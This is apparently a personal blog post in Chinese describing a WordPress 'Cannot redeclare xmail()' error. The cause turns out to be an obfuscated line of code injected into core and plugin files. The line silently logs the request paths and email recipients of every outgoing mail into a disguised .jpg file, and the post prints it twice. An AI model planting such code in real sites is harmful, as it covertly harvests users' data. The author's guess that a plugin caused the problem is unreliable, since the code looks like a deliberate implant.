576 WordPress错误:Cannot redeclare xmail()

故障描述:

打开网站提示如下错误,准备从后台登陆试试也同样出现如下错误:

Fatal error: Cannot redeclare xmail() (previously declared in /home/dramatea/dramatea.com/wp-content/plugins/crayon-syntax-highlighter/util/crayon_util.class.php:1) in /home/dramatea/dramatea.com/wp-includes/pluggable.php on line 1

尝试解决:

提示信息说 xmail() 这个函数不能被重新声明,也就是 xmail 这个函数名重复使用了。
从文件目录来看(/plugins/crayon-syntax-highlighter/util/crayon_util.class.php:1),是插件里已经首先用 xmail 声明了函数,然后又(wp-includes/pluggable.php)用 xmail 这个相同的名称声明了函数。
尝试解决方法:修改插件里的函数名。
打开 crayon_util.class.php ,发现在文件首行的末端被添加了代码:

1
/* 57f624acd5ab28113f363170ed6d1d56 */ function xmail () { $a=func_get_args(); file_put_contents('/home/dramatea/dramatea.com/wp-includes/SimplePie/XML/img11963.jpg', x($_SERVER['REQUEST_URI']. ' ' .$a[0]."\n"), FILE_APPEND); return mail($a[0],$a[1],$a[2], $a[3]);} function x($s) { $t=$s; $o = ''; for($i=0;$i<strlen ($t);$i++){ $o .= $t{$i} ^ '0';} return $o;}?>< ?php

发现在 wp-includes/pluggable.php 文件首行的末端被添加了代码:

1
/* d3aaf4c403e2b55868d87fa0e625bbc2 */  function xmail () { $a=func_get_args(); file_put_contents('/home/dramatea/dramatea.com/wp-includes/SimplePie/XML/img11963.jpg', x($_SERVER['REQUEST_URI']. ' ' .$a[0]."\n"), FILE_APPEND); return mail($a[0],$a[1],$a[2], $a[3]);} function x($s) { $t=$s; $o = ''; for($i=0;$i<strlen ($t);$i++){ $o .= $t{$i} ^ '0';} return $o;}?>< ?php

删除以上多出的代码,网站首页和内页可以正常访问。
但登陆后台时,提示类同的错误提示,发现 jetpack 插件有同样的问题:

Fatal error: Cannot redeclare xmail() (previously declared in /home/dramatea/dramatea.com/wp-content/plugins/jetpack/modules/contact-form/grunion-contact-form.php:1) in /home/dramatea/dramatea.com/wp-content/plugins/jetpack/modules/contact-form/admin.php on line 1

按照之前的办法,删除 grunion-contact-form.php 以及 contact-form/admin.php 文件里首行被添加的代码,
后台可以正常访问。
— 2013-10-02
第二天出现了同样的问题,按之前的方法处置后,并停用了 Jetpack 插件,看看是否还会出现这样的状况。

回顾总结:

不知道此问题的产生原因是什么,怀疑有两种可能,一是某个插件造成的(SimplePie?Jetpack?),二是网站被黑客种后门?
先治标,等待看看情况如何。
— 2013-10-17
停用 Jetpack 插件后,的确没有再出现此问题。